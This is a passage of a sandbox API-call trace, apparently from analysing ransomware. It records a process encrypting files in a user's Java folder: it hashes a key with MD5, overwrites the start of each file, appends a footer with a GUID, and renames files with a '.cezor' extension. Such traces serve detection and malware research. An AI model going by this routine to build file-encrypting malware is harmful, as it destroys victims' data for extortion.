RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.816] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.816] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.816] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.816] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\") returned="jre1.7.0_45\\" [0061.816] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0061.816] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.816] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.816] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0061.816] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0061.816] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.816] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0061.816] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0061.816] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0061.816] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0061.816] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d09c8 [0061.816] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5d40 | out: hHeap=0x670000) returned 1 [0061.816] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0061.816] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30180d0 [0061.816] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d09c8 | out: hHeap=0x670000) returned 1 [0061.816] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0061.817] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4898 [0061.817] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0061.817] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0061.817] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30180d0 | out: hHeap=0x670000) returned 1 [0061.817] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0061.817] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0061.817] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0061.817] PathFindFileNameW (pszPath="") returned="" [0061.817] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.817] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0061.817] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.817] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.817] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x182ac2a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Data1.cab", cAlternateFileName="")) returned 1 [0061.817] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.817] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd6) returned 0x2f94cf8 [0061.817] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.817] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab") returned=".cab" [0061.817] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\data1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.819] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=25340970) returned 1 [0061.819] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.821] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x182ac04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.822] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.823] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0061.823] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.823] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0061.823] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x25805, lpOverlapped=0x0) returned 1 [0061.825] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.825] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0061.826] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.826] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.826] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e920) returned 1 [0061.826] CryptCreateHash (in: hProv=0x74e920, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.826] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.826] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.826] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0061.826] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.826] GetLastError () returned 0x0 [0061.826] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.827] CryptReleaseContext (hProv=0x74e920, dwFlags=0x0) returned 1 [0061.827] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0061.827] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25810) returned 0x3132418 [0061.827] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0061.827] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.827] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x25800, lpOverlapped=0x0) returned 1 [0061.828] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0061.828] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x182ac2a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.828] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0061.828] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0061.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0061.828] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0061.828] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0061.828] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5d40 | out: hHeap=0x670000) returned 1 [0061.828] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0061.828] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0061.828] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.828] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.828] CloseHandle (hObject=0x5c4) returned 1 [0062.150] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0062.150] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8b0) returned 0x3100c28 [0062.150] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0062.150] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\data1.cab"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\data1.cab.cezor")) returned 1 [0062.152] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0062.152] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0062.153] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2f94cf8 | out: hHeap=0x670000) returned 1 [0062.153] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x68d26e60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xdd600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jre1.7.0_45.msi", cAlternateFileName="JRE170~1.MSI")) returned 1 [0062.153] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0062.153] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd6) returned 0x2f94cf8 [0062.153] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0062.153] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi") returned=".msi" [0062.153] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\jre1.7.0_45.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0062.154] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=906752) returned 1 [0062.154] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0062.157] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xdd5da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.157] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0062.158] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.158] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x25805, lpOverlapped=0x0) returned 1 [0062.160] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.160] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0062.160] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.160] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.160] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e920) returned 1 [0062.161] CryptCreateHash (in: hProv=0x74e920, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0062.161] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0062.161] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0062.161] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0062.161] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0062.161] GetLastError () returned 0x0 [0062.161] CryptDestroyHash (hHash=0x3038608) returned 1 [0062.161] CryptReleaseContext (hProv=0x74e920, dwFlags=0x0) returned 1 [0062.161] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0062.161] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25810) returned 0x3132418 [0062.162] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0062.162] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0062.162] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x25800, lpOverlapped=0x0) returned 1 [0062.163] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0062.163] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xdd600, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.163] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0062.163] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0062.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0062.163] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0062.163] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0062.163] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5d40 | out: hHeap=0x670000) returned 1 [0062.163] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0062.163] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0062.163] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0062.163] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0062.163] CloseHandle (hObject=0x5c4) returned 1 [0062.174] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febad8 [0062.174] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8c0) returned 0x3100c28 [0062.174] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febad8 | out: hHeap=0x670000) returned 1 [0062.174] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\jre1.7.0_45.msi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\jre1.7.0_45.msi.cezor")) returned 1 [0062.175] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0062.175] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0062.176] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2f94cf8 | out: hHeap=0x670000) returned 1 [0062.176] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x68d26e60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xdd600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jre1.7.0_45.msi", cAlternateFileName="JRE170~1.MSI")) returned 0 [0062.176] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0062.176] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4898 | out: hHeap=0x670000) returned 1 [0062.176] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301d980 | out: hHeap=0x670000) returned 1 [0062.176] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0062.176] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0062.176] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0062.176] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee8d8 [0062.176] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.176] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.176] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee8d8 | out: hHeap=0x670000) returned 1 [0062.176] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee8d8 [0062.176] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.176] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.176] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee8d8 | out: hHeap=0x670000) returned 1 [0062.176] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee8d8 [0062.176] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.176] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.176] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee8d8 | out: hHeap=0x670000) returned 1 [0062.176] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee8d8 [0062.176] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.177] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.177] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee8d8 | out: hHeap=0x670000) returned 1 [0062.177] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee8d8 [0062.177] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.177] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.177] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee8d8 | out: hHeap=0x670000) returned 1 [0062.177] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee8d8 [0062.177] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.177] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.177] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee8d8 | out: hHeap=0x670000) returned 1 [0062.177] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee8d8 [0062.177] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.177] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0062.177] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.177] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.177] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee8d8 | out: hHeap=0x670000) returned 1 [0062.177] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee8d8 [0062.177] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.177] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.177] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee8d8 | out: hHeap=0x670000) returned 1 [0062.177] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee8d8 [0062.177] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.177] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.177] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee8d8 | out: hHeap=0x670000) returned 1 [0062.177] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee8d8 [0062.177] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.177] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.177] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee8d8 